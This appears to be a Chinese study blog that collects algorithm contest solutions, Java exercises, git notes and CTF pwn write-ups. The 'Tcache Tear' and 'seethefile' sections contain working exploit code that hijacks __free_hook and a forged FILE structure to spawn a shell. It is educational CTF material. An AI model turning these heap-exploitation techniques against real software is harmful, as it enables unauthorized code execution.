0%

暂时不更新了,,,,

1. 区间k大数查询

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package suanfa_train;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Scanner;

public class k {
static List<Integer> list = new ArrayList<Integer>();
static List<Integer> list2 = new ArrayList<Integer>();
static int i,j;
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);

int n = scan.nextInt();//序列长度

for(i=0;i<n;i++) {
list.add(scan.nextInt());//给定的序列
}

int m = scan.nextInt();//询问个数
int start, end, seq;
String result = "";

for(i=0;i<m;i++) {
start = scan.nextInt();
end = scan.nextInt();
seq = scan.nextInt();

list2.clear();//清空
for(j=start-1;j<end;j++) {
list2.add(list.get(j));//拷贝
}
Collections.sort(list2);//排序
result += list2.get(list2.size()-seq) + "\n";
}
System.out.println(result);
}
}

2. 最大最小公倍数

看着表示不会,,,难搞,发现有诀窍

数学知识:如果三个数互为质数,那么这三个数的乘积便为它们的最小公倍数。

有以下二种情况。

  1. 当N为奇数时,那么N,N-1,N-2互为质数,很明显N*N-1*N-2是1到N最小公倍数的最大值。
    • 当N为偶数时,且能被3整除时,N-1,N-2,N-3互质,此时N-1*N-2*N-3是1到N最小公倍数的最大值;
    • 当N为偶数时,但不能被3整除时,N,N-1,N-3互质,此时N*N-1*N-3是1到N最小公倍数的最大值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package suanfa_train;

import java.util.Scanner;

public class Gongbeishu {
public static void main(String[] args) {
long n = new Scanner(System.in).nextLong();
long result = 0;
if(n==1) {
result = 1;
}else if(n==2) {
result = 2;
}else if(n==3) {
result = 2 * 3;
}else if(n%2==1) {
result = n*(n-1)*(n-2);
}else if(n%2==0) {
if(n%3==0) {
result = (n-1)*(n-2)*(n-3);
}else {
result = n*(n-1)*(n-3);
}
}
System.out.println(result);
}
}

3. K好数

使用动态规划,将运算过程用二维数组保存起来

动态规划学习(参考视频):https://www.bilibili.com/video/BV1xb411e7ww?from=search&seid=18026845084239363645

思路:

  • 若k=4,l=3(3位4进制)
  • 假设求3开头,即3XX的个数,只需要求XX中0X,1X,3X的个数即可。
  • 对于0X,明显,X只要不为1,有0,2,3.同理,1X有1,3,3X有0,1,3
  • 3XX中XX的个数=0X+1X+3X=3+2+3=8

所以状态方程是

dp[i][j] = dp[i][j] + dp[i-1][x](x与j不相邻的变量。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package suanfa_train;

import java.util.Scanner;

public class Khaoshu {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int k = scan.nextInt();//进制
int l = scan.nextInt();//位数
int [][]dp = new int[101][101];//存放结果
int mod = 1000000007;

int i,j,x;//循环的变量
for(i=0;i<k;i++) {//长度为1,数量也为1
dp[1][i] = 1;
}

for(i=2;i<=l;i++) {//长度从2开始的
for(j=0;j<k;j++) {//k进制(0~k-1)
for(x=0;x<k;x++) {//k进制(0~k-1)
if(x!=j-1 && x!=j+1) {//x与j不相邻的情况
dp[i][j] += dp[i-1][x];//固定开头为j,则加上位数-1且开头与j不相邻的情况
dp[i][j] %= mod;
}
}
}
}
int ans =0;
for(i=1;i<k;i++) {
ans += dp[l][i];//结果是将所有l位的不同开头加起来
ans %= mod;
}
System.out.println(ans);
}
}

参考:https://blog.csdn.net/selaotou11/article/details/104716314

4. 结点选择

java有bug,,,很难100分,所以就用c++来做了。

思路:动态规划。

  • dp[cur][0]:不选当前结点所能选出的结点最大值。
  • dp[cur][1]:选当前结点的能选出的最大值。

初始化

非常重要

1
v.resize(n+1);

没有这句话,后面v.pushback就会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <vector>
using namespace std;
vector<vector<int> >v;//存储图的二维数组
int dp[100005][2]={0};//动态规划的数组
void dfs(int cur,int pre)//dfs,带的参数为当前结点和上一个结点
{
for (int i = 0; i < v[cur].size(); ++i) {//循环当前结点的所有结点
int sub = v[cur][i];//循环中的一个子节点
if(sub != pre)//子节点和父结点不通
{
dfs(sub,cur);//向下递归,当前结点时sub,上一个结点时cur
//两种情况
dp[cur][0]+=max(dp[sub][1],dp[sub][0]);
dp[cur][1]+=dp[sub][0];
}

}
}
int main()
{
int n,a,b;
cin>>n;
v.resize(n+1);//初始化
for (int i = 1; i <= n; ++i) {
cin>>dp[i][1];
}
for (int i = 0; i < n-1; ++i) {
cin>>a>>b;
v[a].push_back(b);//存储图
v[b].push_back(a);
}
dfs(1,0);//当前根结点1,没有上一个结点
cout<<max(dp[1][0],dp[1][1])<<endl;//输出结果
return 0;
}

一些记录:看视频【蓝桥杯】2013年-2018年蓝桥杯历年省赛真题 Java C++ A组 B组 C组

emmm,参加完校赛,被完虐,,,感觉蓝桥杯的题太简单,,,,接下来换地方去学leetcode一段时间

2013-java-A

视频的总结

image-20210304145315375

1 日历

Calendar API的使用

1
2
3
4
5
6
7
8
Calendar calendar = Calendar.getInstance();//创建实例

//设置年月日
calendar.set(Calendar.YEAR, year);
calendar.set(Calendar.MONTH, 11);//从0开始,11代表12月
calendar.set(Calendar.DAY_OF_MONTH, 31);//从1开始,代表该月第31天

Calendar.DAY_OF_WEEK//代表这天是一周里的星期几

2 从我做起振兴中华

递归的思路,学习

image-20210215133419619

观察可得,走法要么走右,要么走下

1
2
3
4
public static int f(int i,int j) {
if(i == 4 || j == 3) return 1;//走到,成功
return f(i+1,j) + f(i,j+1);//下或右
}

3 BigInteger

BigInteger API的使用,主要解决大数问题

1
BigInteger x = BigInteger.valueOf(2).pow(11213).subtract(BigInteger.ONE);//创建

上面的式子等价于:2^11213-1

创建数都要用BigInteger.valueOf(2)创建一个对象,幂次的话,可以直接用数(幂不是大数)

1
String s = x.toString();//可以转字符串

4 颠倒数字

根据题目意思,一步步编程即可

循环,有调转,可以再来一个循环变量j

1
2
3
4
5
6
for (int i = s.length()-1,j=0; i>=0; i--,j++) {
char c = s.charAt(i);
if(c=='6')ans[j] = '9';
else if(c=='9') ans[j]='6';
else ans[j] = c;
}

5 希尔排序

希尔排序的变种

填空题tip

  1. 将给定的代码复制过来
  2. 将___注释,运行
  3. 自己写main函数
  4. 根据特殊情况验证

6 逆波兰序

没什么说的,,,

7 断号和连号

每行数据长度不等的输入

image-20210218145738807

1
2
3
4
5
6
7
8
9
10
ArrayList<Integer> list = new ArrayList<>();
int N = scan.nextInt();
scan.nextLine();//去掉'\n'
for (int i = 0; i < N; i++) {
String line = scan.nextLine();
String [] split = line.split(" ");
for (int j = 0; j < split.length; j++) {
list.add(Integer.parseInt(split[j]));
}
}

8 全排列

全排列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static void f(int[] arr,int k) {//k:确认某一个排列的第k位
if(k==9) {//全部确认
check(arr);
return;
}
//选定第k位
for (int i = k; i < arr.length; i++) {
//将第i位和第k位交换
int t = arr[i];
arr[i] = arr[k];
arr[k] = t;

//移交下一层去确认k+1位
f(arr,k+1);

//回溯(换回来)
t = arr[i];
arr[i] = arr[k];
arr[k] = t;
}
}

9 深搜索

dfs,参数根据变化的量来确定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void dfs(int i, int j, int steps, int sum) {
if (i < 0 || i == n || j < 0 || j == m||vis[i][j] ==1) {
return;
}
if(sum == total /2) {
ans = Math.min(steps, ans);
return;
}
if(sum > total /2) {
return;
}
vis[i][j]=1;
dfs(i + 1, j, steps + 1, sum + g[i][j]);
dfs(i - 1, j, steps + 1, sum + g[i][j]);
dfs(i, j + 1, steps + 1, sum + g[i][j]);
dfs(i, j - 1, steps + 1, sum + g[i][j]);
vis[i][j]=0;
}

10 邻接图 + 深搜索 + 树的直径

树的直径

找到树上距离最大的点方法:

  1. 任意选一点,找到距离最大的点
  2. 用距离最大的点作为一个端点,再找另外一个端点即可。

邻接图

创建
1
private static List<Node>[] g;// 图的领接表
初始化
1
2
3
4
g = new List[n + 1];//list还需要初始化
for (int i = 0; i <= n; i++) {
g[i] = new ArrayList<Node>();
}
赋值
1
2
3
4
for (int i = 0; i < n - 1; i++) {
g[a].add(new Node(b, c));
g[b].add(new Node(a, c));
}
Node
1
2
3
4
5
6
7
8
9
10
static class Node {
int num;
long dis;

public Node(int num, long dis) {
super();
this.num = num;
this.dis = dis;
}
}

dfs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static void dfs(int from, int num, long dis) {
boolean isLeaf = true;
List<Node> neighbors = g[num];// 所有的子节点
for (int i = 0; i < neighbors.size(); i++) {
Node neighbor = neighbors.get(i);
if (neighbor.num == from)
continue;// 如果父亲又变成了儿子不合理,,,故排除
isLeaf = false;// 只要有邻居,肯定不是叶子节点
dfs(num, neighbor.num, dis+neighbor.dis);
}
// 是叶子节点
if (isLeaf && dis> max) {
max = dis;
pnt = num;
}
}

2014-java-A

1 根据内容、常识编程

由于年轻女孩,,,可以简单的默认年龄是1-20进行尝试

2 递归,深搜

边界要判定好

1
2
3
4
5
6
7
8
static void dfs(int dian,int hua,int jiu) {
if(dian ==0 && hua ==0 && jiu == 1) {
ans++;
return;
}
if(dian > 0) dfs(dian-1,hua,jiu*2);
if(hua > 0) dfs(dian,hua-1,jiu-1);
}

3 对数字的每一位排序

数字转字符串

1
String.valueOf(src);

对字符串里的每一位排序

1
2
3
4
char [] char1 = s1.toCharArray();
char[] char2 = s2.toCharArray();
Arrays.sort(char1);
Arrays.sort(char2);

判断两字符数组是否相等

1
new String(char1).equals(new String(char2))
1
2
3
4
5
6
7
8
9
static boolean check(int src, int des) {
String s1 = String.valueOf(src);// 数字转字符串
String s2 = String.valueOf(des);
char [] char1 = s1.toCharArray();
char[] char2 = s2.toCharArray();
Arrays.sort(char1);
Arrays.sort(char2);
return new String(char1).equals(new String(char2));
}

4 一句话123循环

n的变化1 2 3 循环。。。

1
n = n%3+1

注意:static方法必须在static类里面

5 堆排序

emmm,填空题不能单靠简单的上下文,,,,保险起见,要学会自己构造例子看结果。

6 全排列

image-20210304185430180

给每个边和顶点编号。

全排列+然后计算每个编的值

全排列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void f(int k) {
if(k==arr.length) {
check();
return;
}
//已经确定k-1个了,所以从k开始
for(int i=k;i<arr.length;i++) {
int t = arr[i];
arr[i] = arr[k];
arr[k] = t;

f(k+1);

t = arr[i];
arr[i] = arr[k];
arr[k] = t;
}
}

顶点编号+计算边的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void check() {
int a = 8+arr[0]+arr[1]+arr[2];
int b = 3+arr[2]+arr[4]+arr[7];
int c = 11+arr[3]+arr[6];
int d = 1+arr[1]+arr[4]+arr[8];
int e = arr[5]+arr[6]+arr[7]+arr[8];
int f = 1+arr[0]+arr[3]+arr[5];

if(a == b && b==c&& c==d&&d == e&&e==f) {
for (int i = 0; i < arr.length; i++) {
System.out.println(arr[i]);
}
}
}

7 概率题

涉及概率论的知识,主要用概率论得出公式,然后用计算机计算计算具体的值。。。

有点点麻烦,吐血

数学归纳法

  1. 只有一个圈,概率为1
  2. 如果n根绳子组成一个圈,那么必定是n-1根绳子组成一个圈然后加入新的绳子
  3. 如果n根绳子组成m个圈,可以是n-1根绳子组成m-1个圈,然后新绳自成一圈;也可以是n-1根绳子组成m个圈,然后最后一个新绳加入这个圈。

这里面加入一个圈的公式是:

f[sheng][1] = f[sheng - 1][1] * (sheng - 1) * 2 / (2 * sheng - 1);

看视频吧,,,,总之需要推演的能力

8 递归 / 循环

都可以用,我使用了递归,老师用的循环(更简单,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void dfs(int i,int j,int s,int k) {
// if(vis == 1) {
// return;
// }
if(steps == k ) {
x = i;
y = j;
// vis = 1;
return;
}

//11 12 22 21 11
if(g[i][j] == 0) {//white
g[i][j] = 1;
if(s==1)
dfs(i,j-1,4,k+1);
else if(s==2)
dfs(i-1,j,s-1,k+1);
else if(s ==3)
dfs(i,j+1,s-1,k+1);
else if(s == 4)
dfs(i+1,j,s-1,k+1);
}else if(g[i][j] == 1) {//black
g[i][j] = 0;
if(s==1)
dfs(i,j+1,s+1,k+1);
else if(s==2)
dfs(i+1,j,s+1,k+1);
else if(s ==3)
dfs(i,j-1,s+1,k+1);
else if(s == 4)
dfs(i-1,j,1,k+1);
}

}

字符变数字

简化操作

1
2
3
4
5
6
7
8
9
10
11
static int s2i(String s) {
if (s.equals("U"))
return 1;
if (s.equals("R"))
return 2;
if (s.equals("D"))
return 3;
if (s.equals("L"))
return 4;
return 0;
}

9 斐波那契

  1. mod运算不能交换
  2. 斐波那契数列 比赛中 用迭代形式来做,不要用递归来做

迭代形式

image-20210304212011899

余数的性质

(A+B)%mod = (A%mod + B%mod)%mod

(A*B)%mod = (A%mod * B%mod)%mod

2015-java-A

easy,循环和递归都能做

可以调试着看过程,确保答案正确

1 easy循环/递归 偶数

  1. i&1==0 ==> 偶数
  2. i mod 2 == 0

2 日历

calendar获取时间

1
calendar.getTime()//月份是英文

中文

函数:toLocaleString()

1
2
c.getTime();
c.getTime().toLocaleString();

结果

1
2
Sat Aug 05 10:23:12 CST 2017
2017年8月5日 上午10:23:12

设置calendar的年月日

重点注意month是月份减1。

设置的时候要月份减1,得出结论的时候要月份+1

1
2
3
4
5
6
7
//分别设置
calendar.set(Calendar.YEAR,2014);
calendar.set(Calendar.MONTH, 10);
calendar.set(Calendar.DAY_OF_MONTH, 9);

//一起设置
calendar.set(2014,10,9);

增加天数

  • 方法一:c.add(Calendar.DATE, 1000);
  • 方法二:calendar.add(Calendar.DAY_OF_YEAR, 1000);

更新中…

Re-alloc

主要学习realloc函数的使用

利用realloc可以实现malloc,edit和free(uaf)

realloc

1
2
3
4
5
6
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
4.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
5.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr

16进制字符串转数字

1
int(str_hex,16)

Tcache Tear

libc是2.27的,存在tcache机制。

除了pie,其他保护都开启了

本机环境与给定的libc不同,故需要如下语句:

1
p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})

程序流程

  • 输入bss变量name
  • add一个大小小于0xff的chunk,地址保存在ptr中
  • free(ptr),至多8次【存在uaf】
  • 打印name

利用

任意地址写

1
2
3
4
5
6
7
def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

利用任意地址写成功修改name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process(["./tcache_tear"],env={"LD_PRELOAD":"/usr/local/glibc-2.27/lib/libc-2.27.so"})

elf = ELF('/usr/local/glibc-2.27/lib/libc-2.27.so')
context(arch='amd64',os='linux',log_level='debug')

sla = lambda delim,data : p.sendlineafter(delim,data)
cmd = lambda choice : sla("Your choice :",str(choice))
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data))
free = lambda : cmd(2)
info = lambda : cmd(3)

def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

init("winter")
info()
name_bss = 0x602060
aaw(0x20,name_bss,"admin")
info()
p.recv()

image-20210220184904076

构造unsortedbin

因为要检查释放的chunk和nextchunk的标志位是否为1。【标志位是下一个chunk的大小&1】,所以,我们需要构造chunk+两个绕过检验的chunk

chunk1(0x501)
chunk2(0x21)
chunk3(0x21)

chunk2的1检验chunk1,chunk3的1检验chunk2。

1
2
3
4
5
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
#0x500=>0x490(chunk size)+0x10(chunk head)
aaw(0x60,name_bss+0x10,'a')#让chunk中有数据,并且,malloc的时候,ptr指向name_bss+0x10
free()#将构造的chunkfree

得到到main_arena,计算libc基址【得到的main_arena-本次libc机制得到偏移】

image-20210220193540189

覆盖free_hook为system

1
2
3
4
5
6
libc_base = main_arena - 0x3EBCA0
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print("free_hook:"+hex(free_hook))

aaw(0x70,free_hook,p64(system))

最后malloc一个内容为system参数的chunk,free即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})
#p=remote("chall.pwnable.tw",10207)
libc = ELF('./tw_libc-2.27.so')
context(arch='amd64',os='linux',log_level='debug')

sla = lambda delim,data : p.sendlineafter(delim,data)
cmd = lambda choice : sla("Your choice :",str(choice))
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data))
free = lambda : cmd(2)
info = lambda : cmd(3)

def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

name_bss = 0x00602060

init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

info()
p.recvuntil("Name :");p.recv(0x10)
main_arena = u64(p.recv(0x8))
gdb.attach(p)

libc_base = main_arena - 0x3EBCA0
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print("free_hook:"+hex(free_hook))

aaw(0x70,free_hook,p64(system))
malloc(0x40,"/bin/sh\x00")
free()
p.interactive()

参考:和媳妇一起学Pwn 之 Tcache Tear

seethefile

栈溢出+io file的题

image-20210225183413269

输入name的时候没有长度限制,栈溢出,而name下面是fp变量,可以覆盖

泄漏libc

因为可以直接读文件,所以/proc/id(self)/maps可以直接读

伪造IO FILE结构

1
2
3
4
5
6
7
8
9
10
11
fakeFILE = 0x0804B284#伪造的地址
name = 'a'*0x20
name += p32(fakeFILE)#FILE的地址

FILE = p32(0xffffdfff)#绕过验证
FILE += ";/bin/sh"#参数,因为不是地址,故可以前面加;或者||直接填
FILE = FILE.ljust(0x94,'\x00')

name += FILE
name += p32(fakeFILE+0x98)
name += p32(system)*3#vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好

flag获取

1
2
cd home
cd seethefile

下面有这些文件

image-20210225185641105

执行get_flag可以获得,查看源码可得需要输入字符串Give me the flag

image-20210225185601647

参考:

使用情况

  1. 通常系统中的共享库均为release版本,去除了符号表等调试信息,为了调试方便,需要准备一份debug版本的glibc
  2. CTF比赛中二进制程序所需的libc版本与本地系统的版本不同,为了程序在本地正常运行,需要配置合适的libc

下载glibc源码

1
2
3
git clone git://sourceware.org/git/glibc.git 
cd glibc
git checkout glibc-2.27

编译glibc源码

编译64位

1
2
3
4
5
mkdir build
cd build
../configure --prefix=/usr/local/glibc-2.27 --enable-debug=yes
make -j4
sudo make install

编译32位

安装i686所需包

参考

1
2
3
4
5
6
sudo apt install binutils-i686-gnu 
sudo apt install gcc-i686-linux-gnu
sudo apt install binutils-i686-gnu-dbg
sudo apt install g++-i686-linux-gnu
#sudo apt install g++
#sudo apt install gcc

如果报错,换一个源即可

参考

1
2
3
4
cd /etc/apt
subl sources.list
#将如下内容拷贝进去
sudo apt-get update
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL $

# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL $

## Security updates

deb http://http.kali.org/ /kali main contrib non-free

deb http://http.kali.org/ /wheezy main contrib non-free

deb http://http.kali.org/kali kali-dev main contrib non-free

deb http://http.kali.org/kali kali-dev main/debian-installer

deb-src http://http.kali.org/kali kali-dev main contrib non-free

deb http://http.kali.org/kali kali main contrib non-free

deb http://http.kali.org/kali kali main/debian-installer

deb-src http://http.kali.org/kali kali main contrib non-free

deb http://security.kali.org/kali-security kali/updates main contrib non-free

deb-src http://security.kali.org/kali-security kali/updates main contrib non-fr$

下载32位

1
2
3
4
5
6
 #../configure --prefix=/usr/local/glibc-2.23_32 --enable-debug=yes --host=i686-linux-gnu --build=i686-linux-gnu CC="gcc -m32" CXX="g++ m32" CFLAGS="-O2 -march=i686" CXXFLAGS="-O2 -march=i686"
#上为原书所写,但使用报错,后发现下面改方法好用
CC="gcc -m32" CXX="g++ -m32" \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
../configure --prefix=/usr/local/glibc-2.23_32 --host=i686-linux-gnu --disable-werror

编译 & 链接

1
2
make
make install

使用该libc运行其他已编译的程序

替换二进制文件的编译器路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#change_ld.py
import os
from pwn import *
import argparse

def change_ld(binary, ld,output):
if not binary or not ld or not output:
log.failure("Try 'python change_ld.py -h for more information.'")
return None

binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr,"/lib64/ld-glibc-{}".format(ld).ljust(size,'\0'))

if os.access(output, os.F_OK):
os.remove(output)
binary.save(output)
os.chmod(output, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, output))

parser = argparse.ArgumentParser(description='Force to use assigned new ld.so by changing the binary')
parser.add_argument('-b',dest="binary",help='input binary')
parser.add_argument('-l',dest="ld",help='ld.so version')
parser.add_argument('-o',dest="output",help='outputfile')
args = parser.parse_args()

change_ld(args.binary,args.ld,args.output)
1
2
sudo ln -s /usr/local/glibc-2.27/lib/ld-2.27.so /lib64/ld-glibc-2.27
python change_ld.py -b 二进制文件 -l 2.27 -o 输出文件名
1
2
3
4
5
6
winter@ubuntu:~/tw$ file tcache_tear 
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped

#成功
winter@ubuntu:~/tw$ file tcache_debug
tcache_debug: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-glibc-2.27, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
1
2
p = process(["/home/winter/ff/ld-2.32.so", "./ff"],
env={"LD_PRELOAD":"/home/winter/ff/libc.so.6"})

后记

主要参考《CTF竞赛权威指南(pwn篇)》5.1.3中内容

在做2.27的pwn题,tcache的机制总是失败,double free,,,这样修改后就可以用了。

glibc下载

https://mirrors.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/

联系

68a11cc3598c41fd165693c241ab3a6f

  • POC:漏洞验证程序
  • 审计产品:网络流量监控
  • 指纹库:存储设备识别脚本
  • Snort:开源入侵检测引擎
  • 防火墙:网络流量监控与拦截
  • 渗透测试工具:发现设备漏洞并利用漏洞进行攻击

漏洞库

  • 国家信息安全漏洞库(CNNVD)【CNNVD-年月-顺序号(如CNNVD-201907-1598)】
  • 国家信息安全漏洞共享平台(CNVD)【CNVD-年份-顺序号(如CNVD-2019-26836)】
  • 美国国家漏洞数据库(NVD)【CVE-年份-顺序号(如CVE-2019-14770)】

poc

POC(proof of concept 观点验证程序)是漏洞验证程序,它可能由验证过程文档及验证脚本等构成。

参考

关于漏洞你需要了解这些知识:https://6cloudtech.com/portal/article/index/id/170.html

git

是什么

开源的分布式版本控制系统

特点

  1. 是分布式的
  2. 内容按原数据方式存储
  3. 没有全局的版本号
  4. 内容的完整性(内容存储使用的是 SHA-1 哈希算法)

image-20210130111523672

git 常用命令

gitcommands

闰年判断

根据条件写出表达式即可:

  1. 年份是4的倍数而不是100的倍数;
    1. 年份是400的倍数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package basic_try;

import java.util.Scanner;

public class Year {
public static void main(String[] args) {
int input = new Scanner(System.in).nextInt();
if((input % 4 == 0 && input % 100 !=0) || (input % 400 == 0)) {
System.out.print("yes");
}else {
System.out.print("no");
}
}
}

01字串

两种方法

  1. 五层循环,一个个来
  2. for循环,将十进制转换成二进制即可

方法1:五层循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package basic_try;

public class ZeroOne2 {
public static void main(String[] args) {
for(int a =0;a<2;a++) {
for(int b =0;b<2;b++) {
for(int c =0;c<2;c++) {
for(int d =0;d<2;d++) {
for(int e =0;e<2;e++) {
System.out.println(""+a+b+c+d+e);
}
}
}
}
}
}
}

方法2:十进制转二进制

  1. for循环
  2. 十进制转二进制
  3. 填充字符串长度为5

十进制转二进制函数

1
Integer.toBinaryString(i);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package basic_try;

public class ZeroOne {
public static void main(String[] args) {
for(int i =0;i<32;i++) {
String s = Integer.toBinaryString(i);
if(s.length()==1) {
s = "0000" + s;
}else if(s.length()==2) {
s = "000" + s;
}else if(s.length()==3) {
s = "00" + s;
}else if(s.length()==4) {
s = "0" + s;
}
System.out.println(s);
}
}
}

字母图形

根据分析得到,字符串的特点是,不断的右移,并且新增的字符是以A为中心的翻转。

解决:通过字符串截取和翻转共同实现。

  1. 生成A-Z字符串

  2. 输入n和m

  3. 分两种情况:

    第一种:是m大于n,那么左边是翻转,右边是正常序列。

    第二种:是m小于n,那么一开始同第一种,后来就都是翻转的序列了

  4. 输出

翻转字符串

是自己实现的一个函数,递归实现。每次解决最后一个字符,放到前面来,其余的递归同样解决,复杂度为O(n)。

1
2
3
4
5
6
7
8
9
//翻转字符串函数
static String reverse(String s) {
if(s.length()==0) {
return "";
}else if(s.length() == 1) {
return s;
}
return s.charAt(s.length()-1) + reverse(s.substring(0,s.length()-1));
}

答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package basic_try;

import java.util.Scanner;

public class AtoZ {

public static void main(String[] args) {
//生成A-Z字符串
String s = "";
char start = 'A';
char end = 'Z';
for(char i = start;i<=end;i++) {
s+=i;
}
//输入
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
int m = scan.nextInt();
//输出结果
for(int i=0;i<n;i++) {
if(i<=m) {
//第一种情况是左边加上翻转的+右边正确的
System.out.println(reverse(s.substring(1,i+1))+s.substring(0,m-i));
}else {
//第二种情况是都是左边翻转的
System.out.println(reverse(s.substring(i-m+1,i+1)));
}

}
}
//翻转字符串函数
static String reverse(String s) {
if(s.length()==0) {
return "";
}else if(s.length() == 1) {
return s;
}
return s.charAt(s.length()-1) + reverse(s.substring(0,s.length()-1));
}
}

另一种思路

参考别人的,非常契合题目

两层循环,一层控制输出几行,一层控制该行输出m个字符。

另外,通过字符++和字符—找到B后面的C或者B前面的A。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package basic_try;

import java.util.Scanner;

public class AtoZ2 {
public static void main(String[] args) {
//输入
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
int m = scan.nextInt();

for(int i=0;i<n;i++) {//打印n行
char a = (char)('A'+i);//左边第一个
char b = 'A';

for(int k = 0;k<m;k++) {//每次打印的个数
if(a>'A') {//打印左边的部分,一直打印到'A'左边的
System.out.print(a--);
}else {//打印右边的部分,通过for循环控制
//System.out.print(b++);
}
}
System.out.println(b++);
}
}
}

数列特征

  1. 一次循环解决
  2. 使用ArrayList代替数组加快解决

第一种,也是我直接想到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package winter_new_try;

import java.util.Scanner;

public class Array_feature {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
int [] arr = new int[n];
for (int i=0;i<n;i++) {
arr[i] = scan.nextInt();
}
int min = arr[0];
int max = arr[0];
int sum = 0;
for(int i =0;i<n;i++) {
if(arr[i]>max) {
max = arr[i];
}
if(arr[i]<min) {
min = arr[i];
}
sum+=arr[i];
}
System.out.println(max);
System.out.println(min);
System.out.println(sum);
}
}

ArrayList

  1. 先排序,第一个元素为最小值,最后一个元素为最大值

    使用Collections.sort(list)进行排序

  2. 直接求最大值和最小值

    最大值:Collections.max(list)

    最小值:Collections.min(list)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package winter_new_try;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Scanner;

public class Array_feature2 {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
List<Integer> list = new ArrayList<Integer>();
for (int i=0;i<n;i++) {
list.add(scan.nextInt());
}
